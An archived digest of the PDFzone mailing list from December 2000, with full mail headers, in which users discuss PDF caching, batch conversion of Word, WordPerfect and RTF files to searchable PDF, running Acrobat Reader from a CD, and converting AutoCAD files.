Mon, 25 Dec 2000 18:26:49 -0800 (PST) Received: from ISAACS-REMOTE.adobe.com ([153.32.18.18]) by mailsj-v1.corp.adobe.com (Netscape Messaging Server 4.15) with ESMTP id G65LGS00.C18; Mon, 25 Dec 2000 18:26:52 -0800 X-Organization: Adobe Systems Incorporated X-URL: X-Location: Remote (ISAACS-REMOTE) Message-Id: <5.0.2.1.2.20001225182036.01be92a0@mailsj.corp.adobe.com> X-Sender: isaacs@mailsj.corp.adobe.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Mon, 25 Dec 2000 18:26:44 -0800 To: ""HIWATASHI HELIO (MEDID TKY JP )"" From: ""Dov Isaacs"" Subject: Re: [PDF] PDF cache Cc: ""'pdf@lists.pdfzone.com'"" In-Reply-To: <95D655C3D17AD31192560090274D930E018FEC03@JPTKYMSX5MEDGE> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ No, neither Acrobat nor Acrobat Reader cache files between explicit opening of files. HOWEVER, your web browser may cache files (you've already investigated that) and some ISPs actually cache web sites, pages, and files. One would hope that such cacheing would be intelligent enough to validate differences in file attributes such that purge and refresh would occur correctly. Another possibility is that the host of your web site has multiple servers responding to web page and file requests and that it takes some time for them to be fully in synchronization with the latest copy of content that you push out to your official web site location. Check with your ISP and/or web host for more detailed information. - Dov At 12/24/2000 06:14 PM, HIWATASHI, HELIO (MED,ID TKY JP ) wrote: >We've been updating several pdf files on the web and sometimes when we >download a file, the older revision of this pdf is displayed. >Does anyone knows why it occurs even cleaning the temporary files of browser >(IE)? >Do Acrobat (4.06) or Reader have a internal cache control? If exists, where >do I can get information on that? >Thanks >Helio Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 26-Dec-2000 3:38:05-GMT,4135;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id UAA22160 for ; Mon, 25 Dec 2000 20:38:04 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id VAA10189; Mon, 25 Dec 2000 21:21:10 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Mon, 25 Dec 2000 21:14:20 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id VAA09674; Mon, 25 Dec 2000 21:14:18 -0600 Received: from pimout3-int.prodigy.net (pimout3-ext.prodigy.net [207.115.63.102]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id VAA09670 for ; Mon, 25 Dec 2000 21:14:17 -0600 Received: from computer (A090-0021.LSAN.splitrock.net [209.255.238.21]) by pimout3-int.prodigy.net (8.11.0/8.11.0) with SMTP id eBQ3EFP183412 for ; Mon, 25 Dec 2000 22:14:15 -0500 Message-ID: <002201c06ee9$ed849ba0$15eeffd1@computer> From: ""Marti"" To: Subject: [PDF] Converting WordPerfect, MS Word and RTF (Rich Text Format) to PDF ""Hidden Text"" Date: Mon, 25 Dec 2000 19:14:13 -0800 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_001F_01C06EA6.DE333BE0"" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ This is a multi-part message in MIME format. ------=_NextPart_000_001F_01C06EA6.DE333BE0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi PDF group: I am presently using Adobe Capture 2.01 to convert paper documents to = searchable documents using Acrobat PDF (Image + Hidden Text). It is = very searchable. I have thousands of files in WordPerfrct, MS Word and = in RTF (Rich Test Format) that I would like to convert to the same = (Acrobat PDF (Image + Hidden Text)) format, or at least in a searchable = form that is compatable with Acrobat PDF (Image + Hidden Text). Could someone point me to a reference or a procedure? Thanks for any information. ------=_NextPart_000_001F_01C06EA6.DE333BE0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi PDF group:   I am presently using Adobe Capture 2.01 = to convert=20 paper documents to searchable documents using Acrobat PDF (Image + = Hidden=20 Text).  It is very searchable.  I have thousands of files in=20 WordPerfrct, MS Word and in RTF (Rich Test Format) that I would like to = convert=20 to the same (Acrobat PDF (Image + Hidden Text)) format, or at least in a = searchable form that is compatable with Acrobat PDF (Image + Hidden=20 Text).   Could someone point me to a reference = or a=20 procedure?   Thanks for any=20 information. ------=_NextPart_000_001F_01C06EA6.DE333BE0-- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 26-Dec-2000 4:05:28-GMT,3419;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id VAA22651 for ; Mon, 25 Dec 2000 21:05:27 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id VAA12426; Mon, 25 Dec 2000 21:54:15 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Mon, 25 Dec 2000 21:47:05 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id VAA12140; Mon, 25 Dec 2000 21:47:02 -0600 Received: from smtp.wanadoo.es (m1smtpisp01.wanadoo.es [62.36.220.61] (may be forged)) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id VAA12134 for ; Mon, 25 Dec 2000 21:47:00 -0600 Received: from terra (usuario3-36-35-185.dialup.uni2.es [62.36.35.185]) by smtp.wanadoo.es (8.10.2/8.10.2) with SMTP id eBQ3kVw06676 for ; Tue, 26 Dec 2000 04:46:40 +0100 (MET) Message-ID: <002301c06eee$39287b40$6a28fea9@terra.es> From: ""La Oficina Sin Papel"" To: References: <002201c06ee9$ed849ba0$15eeffd1@computer> Subject: RE: [PDF] Converting WordPerfect, MS Word and RTF (Rich Text Format) to PDF ""Hidden Text"" Date: Tue, 26 Dec 2000 04:44:46 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ The reason you are using Capture is because your are converting ""images"" to PDF format. (You are starting from paper..) To convert MS Word, RTF, WordPerfect, etc. or any kind of electronic file to PDF you have to use either PDF Writer (the easiest one..) or Acrobat Distiller. PDF Writer is a printer driver that comes with the full version of Acrobat (by now, 4.0). Just do ""print to PDF Writer"" from any aplication and you'll get a PDF file. You don't need to do ""Image + text"" PDF's but ""normal"" PDF's. (That is, completely electronic text). If you wish, you may embed the original fonts. After converting the docs to PDF, they'll be as searcheable (probably more) than the others (Image + text). If you want to search them ALL at once, build an index using Catalog (included in Acrobat 4.0 also) Carlos >I am presently using Adobe Capture 2.01 to convert paper documents to searchable documents using Acrobat PDF (Image + Hidden Text). It is very searchable. I have thousands of files in WordPerfrct, MS Word >and in RTF (Rich Test Format) that I would like to convert to the same (Acrobat PDF (Image + Hidden Text)) format, or at least in a searchable form that is compatable with Acrobat PDF (Image + Hidden Text). >Could someone point me to a reference or a procedure? Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 26-Dec-2000 4:30:42-GMT,6206;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id VAA23067 for ; Mon, 25 Dec 2000 21:30:41 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id WAA13129; Mon, 25 Dec 2000 22:02:56 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Mon, 25 Dec 2000 21:56:09 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id VAA12585; Mon, 25 Dec 2000 21:56:07 -0600 Received: from pimout1-int.prodigy.net (pimout1-ext.prodigy.net [207.115.63.77]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id VAA12581 for ; Mon, 25 Dec 2000 21:56:06 -0600 Received: from computer (A090-0195.LSAN.splitrock.net [209.255.238.195]) by pimout1-int.prodigy.net (8.11.0/8.11.0) with SMTP id eBQ3u2a19304 for ; Mon, 25 Dec 2000 22:56:02 -0500 Message-ID: <000b01c06eef$c3d92180$c3eeffd1@computer> From: ""Marti"" To: References: <002201c06ee9$ed849ba0$15eeffd1@computer> Subject: Re: [PDF] Converting WordPerfect, MS Word and RTF (Rich Text Format) to PDF ""Hidden Text"" Date: Mon, 25 Dec 2000 19:56:00 -0800 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0008_01C06EAC.B4787F80"" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ This is a multi-part message in MIME format. ------=_NextPart_000_0008_01C06EAC.B4787F80 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable When I read my post, I realized I did not say what I had wanted to, = sorry. By using Acrobat PDFwriter, I can convert an individual document = to a PDF document that is searchable, but I need to automate the = process, so I can identify a file with a thousand such documents and = process them like Capture 2 does, keeping the same name of the original = document, and generating all files in PDF. Thanks Marti ----- Original Message -----=20 From: Marti=20 To: pdf@lists.pdfzone.com=20 Sent: Monday, December 25, 2000 7:14 PM Subject: [PDF] Converting WordPerfect, MS Word and RTF (Rich Text = Format) to PDF ""Hidden Text"" Hi PDF group: I am presently using Adobe Capture 2.01 to convert paper documents to = searchable documents using Acrobat PDF (Image + Hidden Text). It is = very searchable. I have thousands of files in WordPerfrct, MS Word and = in RTF (Rich Test Format) that I would like to convert to the same = (Acrobat PDF (Image + Hidden Text)) format, or at least in a searchable = form that is compatable with Acrobat PDF (Image + Hidden Text). Could someone point me to a reference or a procedure? Thanks for any information. ------=_NextPart_000_0008_01C06EAC.B4787F80 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable When I read my post, I realized I did = not say what=20 I had wanted to, sorry.  By using Acrobat PDFwriter, I can convert = an=20 individual document to a PDF document that is searchable, but I need to = automate=20 the process, so I can identify a file with a thousand such documents and = process=20 them like Capture 2 does, keeping the same name of the original = document, and=20 generating all files in PDF.  Thanks  Marti ----- Original Message ----- From:=20 Marti To: pdf@lists.pdfzone.com Sent: Monday, December 25, 2000 = 7:14=20 PM Subject: [PDF] Converting = WordPerfect, MS=20 Word and RTF (Rich Text Format) to PDF ""Hidden Text"" Hi PDF group:   I am presently using Adobe Capture = 2.01 to=20 convert paper documents to searchable documents using Acrobat PDF = (Image +=20 Hidden Text).  It is very searchable.  I have thousands of = files in=20 WordPerfrct, MS Word and in RTF (Rich Test Format) that I would like = to=20 convert to the same (Acrobat PDF (Image + Hidden Text)) format, or at = least in=20 a searchable form that is compatable with Acrobat PDF (Image + Hidden=20 Text).   Could someone point me to a reference = or a=20 procedure?   Thanks for any=20 information. ------=_NextPart_000_0008_01C06EAC.B4787F80-- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 26-Dec-2000 6:35:46-GMT,2289;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id XAA25169 for ; Mon, 25 Dec 2000 23:35:45 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id AAA18694; Tue, 26 Dec 2000 00:18:53 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 26 Dec 2000 00:11:28 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id AAA18413; Tue, 26 Dec 2000 00:11:26 -0600 Received: from smtp.wanadoo.es ([62.36.220.21]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id AAA18409 for ; Tue, 26 Dec 2000 00:11:24 -0600 Received: from terra (ctv21225136157.ctv.es [212.25.136.157]) by smtp.wanadoo.es (8.10.2/8.10.2) with SMTP id eBQ6B3429344 for ; Tue, 26 Dec 2000 07:11:04 +0100 (MET) Message-ID: <001601c06f02$635f94c0$6a28fea9@terra.es> From: ""La Oficina Sin Papel"" To: References: <002201c06ee9$ed849ba0$15eeffd1@computer> <000b01c06eef$c3d92180$c3eeffd1@computer> Subject: RE: [PDF] Converting WordPerfect, MS Word and RTF (Rich Text Format) to PDF ""Hidden Text"" Date: Tue, 26 Dec 2000 07:09:18 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Try to Drag & Drop them into the Distiller printer. It will open the original app., and make a PDF of each, preserving the original doc name... in batch. Carlos. Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 26-Dec-2000 11:24:32-GMT,2729;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id EAA00358 for ; Tue, 26 Dec 2000 04:24:31 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id FAA30832; Tue, 26 Dec 2000 05:08:34 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 26 Dec 2000 05:02:29 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id FAA30593; Tue, 26 Dec 2000 05:02:27 -0600 Received: from quite.com (host15.quite.com [193.131.11.80]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id FAA30589 for ; Tue, 26 Dec 2000 05:02:24 -0600 Received: from gateway (gateway.quite.com [193.131.11.81]) by quite.com (8.8.7/8.8.7) with SMTP id LAA13852 for ; Tue, 26 Dec 2000 11:02:27 GMT From: ""Aandi Inston"" To: Subject: RE: [PDF] PDF/Acrobat on CD for PC Date: Tue, 26 Dec 2000 11:02:17 -0000 Message-ID: <000e01c06f2b$500d4e20$510b83c1@gateway.quite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: <19341118201855.32024@mail.earthlink.net> X-Mimeole: Produced By Microsoft MimeOLE V4.72.3110.3 Importance: Normal Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > The problem is that we don't want anything to be installed on any > computer. We need to be able to create CD's that contain the > PDF(s) and > Reader. The idea is for the user to double-click the PDF and > have Reader > run right off the CD. Well, this is a big problem, because you can't do that on Windows, as I think I might previously have said. You must revise your expectations for this project, or stick to Macs where it is possible. You can have Reader on the CDROM. You can have Reader start and read a PDF. You cannot control what happens when double clicking files in Windows Explorer EXCEPT by installing software to Windows. That is how Windows works. Aandi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 26-Dec-2000 14:27:38-GMT,5212;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id HAA03258 for ; Tue, 26 Dec 2000 07:27:37 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA04807; Tue, 26 Dec 2000 08:11:45 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 26 Dec 2000 08:06:04 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id IAA04556; Tue, 26 Dec 2000 08:05:55 -0600 Received: from smtp.digapp.com ([38.164.135.2]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id IAA04549 for ; Tue, 26 Dec 2000 08:05:53 -0600 Received: from [207.29.200.50] by smtp.digapp.com (AppleShare IP Mail Server 6.3) id 87496 via TCP with SMTP; Tue, 26 Dec 2000 09:05:58 -0500 Mime-Version: 1.0 X-Sender: leonardr@smtp.digapp.com Message-Id: In-Reply-To: <000b01c06eef$c3d92180$c3eeffd1@computer> References: <002201c06ee9$ed849ba0$15eeffd1@computer> <000b01c06eef$c3d92180$c3eeffd1@computer> Date: Tue, 26 Dec 2000 08:52:53 -0500 To: pdf@lists.pdfzone.com From: Leonard Rosenthol Subject: Re: [PDF] Converting WordPerfect, MS Word and RTF (Rich Text Format) to PDF ""Hidden Text"" Content-Type: multipart/alternative; boundary=""============_-1234283237==_ma============"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ --============_-1234283237==_ma============ Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" At 7:56 PM -0800 12/25/00, Marti wrote: >When I read my post, I realized I did not say what I had wanted to, >sorry. By using Acrobat PDFwriter, I can convert an individual >document to a PDF document that is searchable, but I need to >automate the process, so I can identify a file with a thousand such >documents and process them like Capture 2 does, keeping the same >name of the original document, and generating all files in PDF. >Thanks Marti > I would suggest looking at a 3rd party product such as PDFDocConverter () which is designed for batch conversion of ""office"" documents to PDF. Leonard -- ---------------------------------------------------------------------------- Leonard Rosenthol Sr. Software Engineer (215) 922-3509 (voice) Digital Applications (215) 440-0504 (fax) PGP Fingerprint: 8CC9 8878 921E C627 0BC1 15BB FC19 64A9 0016 1397 --============_-1234283237==_ma============ Content-Type: text/html; charset=""us-ascii"" Re: [PDF] Converting WordPerfect, MS Word and RTF (Ric At 7:56 PM -0800 12/25/00, Marti wrote: When I read my post, I realized I did not say what I had wanted to, sorry.  By using Acrobat PDFwriter, I can convert an individual document to a PDF document that is searchable, but I need to automate the process, so I can identify a file with a thousand such documents and process them like Capture 2 does, keeping the same name of the original document, and generating all files in PDF.  Thanks  Marti         I would suggest looking at a 3rd party product such as PDFDocConverter () which is designed for batch conversion of ""office"" documents to PDF. Leonard -- ---------------------------------------------------------------------------- Leonard Rosenthol                        Sr. Software Engineer                       (215) 922-3509 (voice) Digital Applications                     (215) 440-0504 (fax) PGP Fingerprint: 8CC9 8878 921E C627 0BC1  15BB FC19 64A9 0016 1397 --============_-1234283237==_ma============-- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 26-Dec-2000 15:10:37-GMT,5928;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id IAA04053 for ; Tue, 26 Dec 2000 08:10:36 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA06523; Tue, 26 Dec 2000 08:50:51 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 26 Dec 2000 08:45:33 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id IAA06251; Tue, 26 Dec 2000 08:45:27 -0600 Received: from mail.gai-global.com (mail.gai-global.com [63.66.130.67]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA06221 for ; Tue, 26 Dec 2000 08:45:16 -0600 Received: from CIN2_DG02.GREATAMINS.COM (unverified) by mail.gai-global.com (Content Technologies SMTPRS 2.0.15) with SMTP id for ; Tue, 26 Dec 2000 09:30:01 -0500 Received: by CIN2_DG02.GREATAMINS.COM(Lotus SMTP MTA v4.6.4 (830.2 3-23-1999)) id 852569C1.004FA440 ; Tue, 26 Dec 2000 09:29:53 -0500 X-Lotus-FromDomain: AFG From: ""Bob Riddle"" To: pdf@lists.pdfzone.com Cc: pdf@lists.pdfzone.com Message-Id: <852569C1.004FA320.00@CIN2_DG02.GREATAMINS.COM> Date: Tue, 26 Dec 2000 09:26:44 -0500 Subject: RE: [PDF] Converting WordPerfect, MS Word and RTF (Rich Text Format) to PDF ""Hidden Text"" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ The discussion about ""Image + text"" PDF's or ""normal"" PDF's would depend on how important exact replication is to the user. Correct? For example, insurance documents (with images) would most likely use ""Image"" PDF's rather than ""Normal"" PDFs because the need for exact replication of the document is important in order to comply with state filings. My point is to be careful on selecting ""Image + text"" or ""Normal"" PDF formats. ""La Oficina Sin Papel"" on 12/25/2000 10:44:46 PM Please respond to pdf@lists.pdfzone.com |--------+--------------------------------------------------------> | | | |To: |pdf@lists.pdfzone.com | |--------+--------------------------------------------------------> >---------------| | | >---------------| |--------+--------------------------------------------------------> |cc: | (bcc: Bob Riddle/BIS/GAIC) | |--------+--------------------------------------------------------> >---------------| | | >---------------| |--------+--------------------------------------------------------> |bcc: |Bob Riddle/BIS/GAIC | |--------+--------------------------------------------------------> >---------------| | | >---------------| |--------+--------------------------------------------------------> |Subject:|RE: [PDF] Converting WordPerfect, MS Word and RTF (Rich | | |Text Format) to PDF ""Hidden Text"" | |--------+--------------------------------------------------------> >---------------| | | >---------------| |------------------| |----------------------| | [ ] Confidential | | [ ] For My Eyes Only | |------------------| |----------------------| The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ The reason you are using Capture is because your are converting ""images"" to PDF format. (You are starting from paper..) To convert MS Word, RTF, WordPerfect, etc. or any kind of electronic file to PDF you have to use either PDF Writer (the easiest one..) or Acrobat Distiller. PDF Writer is a printer driver that comes with the full version of Acrobat (by now, 4.0). Just do ""print to PDF Writer"" from any aplication and you'll get a PDF file. You don't need to do ""Image + text"" PDF's but ""normal"" PDF's. (That is, completely electronic text). If you wish, you may embed the original fonts. After converting the docs to PDF, they'll be as searcheable (probably more) than the others (Image + text). If you want to search them ALL at once, build an index using Catalog (included in Acrobat 4.0 also) Carlos >I am presently using Adobe Capture 2.01 to convert paper documents to searchable documents using Acrobat PDF (Image + Hidden Text). It is very searchable. I have thousands of files in WordPerfrct, MS Word >and in RTF (Rich Test Format) that I would like to convert to the same (Acrobat PDF (Image + Hidden Text)) format, or at least in a searchable form that is compatable with Acrobat PDF (Image + Hidden Text). >Could someone point me to a reference or a procedure? Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- ********************************************** This email has been scanned and been shown to be clean of all known viruses. ********************************************** Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 26-Dec-2000 15:51:17-GMT,2969;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id IAA04807 for ; Tue, 26 Dec 2000 08:51:16 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA08398; Tue, 26 Dec 2000 09:33:18 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 26 Dec 2000 09:26:11 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id JAA08114; Tue, 26 Dec 2000 09:26:09 -0600 Received: from mspeos0.corp.medtronic.COM (mspeos0.corp.medtronic.COM [144.15.157.114]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id JAA08110 for ; Tue, 26 Dec 2000 09:26:08 -0600 Received: from MSPEOS-Message_Server by mspeos0.corp.medtronic.COM with Novell_GroupWise; Tue, 26 Dec 2000 09:23:05 -0600 Message-Id: X-Mailer: Novell GroupWise 5.5.4 Date: Tue, 26 Dec 2000 09:22:57 -0600 From: ""Paul Kevin Schulte"" To: Subject: Re: [PDF] Converting WordPerfect, MS Word and RTF (Rich Text Format) to PDF ""Hidden Text"" Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by everglades.binc.net id JAA08111 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Just print to a postscript file and distill the resulting postscript file using Acrobat Distiller. This works for all desktop applications. With RTF, do likewise (I would use Word for the best results as RTF is their format). This will result in fully searchable PDF's with one caveat. Others on this list, or the list's archives, can point you to the specific font issues that can arise from True Type fonts. Season's Greetings! Paul Marti wrote: Hi PDF group: I am presently using Adobe Capture 2.01 to convert paper documents to searchable documents using Acrobat PDF (Image + Hidden Text). It is very searchable. I have thousands of files in WordPerfect, MS Word and in RTF (Rich Text Format) that I would like to convert to the same (Acrobat PDF (Image + Hidden Text)) format, or at least in a searchable form that is compatable with Acrobat PDF (Image + Hidden Text). Could someone point me to a reference or a procedure? Thanks for any information. Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 26-Dec-2000 16:16:04-GMT,2397;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id JAA05257 for ; Tue, 26 Dec 2000 09:16:03 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA10183; Tue, 26 Dec 2000 10:06:03 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 26 Dec 2000 10:00:35 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id KAA09862; Tue, 26 Dec 2000 10:00:28 -0600 Received: from megapathdsl.net (ns1.megapath.net [216.200.176.4]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA09851 for ; Tue, 26 Dec 2000 10:00:24 -0600 Received: from [64.7.28.107] (HELO [192.168.1.100]) by megapathdsl.net (CommuniGate Pro SMTP 3.3.2) with ESMTP id 10018636 for pdf@lists.pdfzone.com; Tue, 26 Dec 2000 08:00:58 -0800 User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022 Date: Tue, 26 Dec 2000 08:00:48 -0700 Subject: [PDF] Converting AutoCad and .dwg files to PDF From: ""C. Scott Miller"" To: PDF Zone Message-ID: Mime-version: 1.0 Content-type: text/plain; charset=""US-ASCII"" Content-transfer-encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I don't own AutoCad. I need to know if it is possible to convert AutoCad files to PDF using Distiller or any other means. Also, my client has a large number of AutoCad files that have been saved as .dwg files. Can these be converted to PDF without reopening them in AutoCad? TIA, -- C. Scott Miller Performance Graphics miller@performancegraphics.com PDF Research Companion A Designer's Guide to Adobe's Portable Document Format http://www.pdfresearch.com Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 26-Dec-2000 16:40:16-GMT,2745;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id JAA05747 for ; Tue, 26 Dec 2000 09:40:15 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA11136; Tue, 26 Dec 2000 10:22:08 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 26 Dec 2000 10:16:58 -0600 Received: (from majordom@localhost) by 